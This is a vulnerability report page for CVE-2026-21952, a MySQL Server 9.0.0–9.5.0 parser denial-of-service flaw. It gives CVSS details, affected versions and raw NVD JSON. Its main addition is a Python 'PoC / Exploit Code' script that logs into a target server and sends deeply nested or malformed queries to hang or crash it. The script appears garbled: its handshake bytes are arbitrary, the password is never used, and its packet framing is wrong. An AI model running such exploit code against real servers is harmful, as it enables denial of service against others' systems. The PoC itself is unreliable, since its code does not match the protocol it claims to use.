Security Vulnerability Report
中文
CVE-2026-21952 CVSS 4.9 MEDIUM

CVE-2026-21952

Published: 2026-01-20 22:15:58
Last Modified: 2026-01-29 15:28:22

Description

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Parser). Supported versions that are affected are 9.0.0-9.5.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
MySQL Server 9.0.0
MySQL Server 9.1.0
MySQL Server 9.2.0
MySQL Server 9.3.0
MySQL Server 9.4.0
MySQL Server 9.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys # CVE-2026-21952 PoC - MySQL Server Parser DoS # Target: MySQL Server 9.0.0-9.5.0 # Note: Requires high-privilege MySQL account def mysql_handshake(sock, username): # Send handshake response packet packet = b'\x85\xa6\x00\x00\x00\x00\x01\x8f\xa2\x15\x37\x00' packet += username.encode('utf-8') + b'\x00' packet += b'\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' sock.send(packet) response = sock.recv(1024) return response[4] == 0 def send_malicious_query(sock, query): # Send COM_QUERY packet packet = len(query).to_bytes(4, 'little') packet = b'\x03' + packet[1:] # COM_QUERY = 0x03 packet += query.encode('utf-8') sock.send(packet) def exploit(target_ip, target_port, username, password): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) # Read greeting packet greeting = sock.recv(1024) # Authenticate if not mysql_handshake(sock, username): print(f'[-] Authentication failed') return False print(f'[+] Authenticated successfully') # Send malicious queries targeting Parser component # These queries may trigger DoS conditions in Parser malicious_queries = [ # Nested subqueries with complex parsing 'SELECT * FROM (SELECT * FROM (SELECT * FROM (SELECT * FROM (SELECT * FROM information_schema.tables) t1) t2) t3) t4', # Deeply nested parentheses 'SELECT (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((1)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))', # Complex JOIN with malformed syntax 'SELECT * FROM t1 JOIN t2 ON t1.a = t2.a AND (SELECT * FROM (SELECT 1) AS subq WHERE EXISTS (SELECT * FROM (SELECT 1) AS subq2))' ] for i, query in enumerate(malicious_queries, 1): print(f'[*] Sending malicious query {i}...') send_malicious_query(sock, query) try: response = sock.recv(4096) print(f'[+] Query {i} sent, response: {response[:50]}') except socket.timeout: print(f'[+] Query {i} triggered timeout - possible DoS condition') return True except Exception as e: print(f'[-] Error: {e}') return False finally: sock.close() if __name__ == '__main__': if len(sys.argv) < 5: print(f'Usage: {sys.argv[0]} <target_ip> <port> <username> <password>') sys.exit(1) exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21952", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:58.230", "lastModified": "2026-01-29T15:28:21.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Parser). Supported versions that are affected are 9.0.0-9.5.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}, {"lang": "es", "value": "Vulnerabilidad en el producto MySQL Server de Oracle MySQL (componente: Servidor: Analizador sintáctico). Las versiones compatibles que están afectadas son 9.0.0-9.5.0. Una vulnerabilidad fácilmente explotable permite a un atacante con altos privilegios y acceso a la red a través de múltiples protocolos comprometer MySQL Server. Los ataques exitosos de esta vulnerabilidad pueden resultar en la capacidad no autorizada de causar un cuelgue o un fallo repetible con frecuencia (DoS completo) de MySQL Server. Puntuación base CVSS 3.1 de 4.9 (Impactos en la disponibilidad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.5.0", "matchCriteriaId": "80A941A0-B16F-477B-9062-EF768F4CAAD4"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}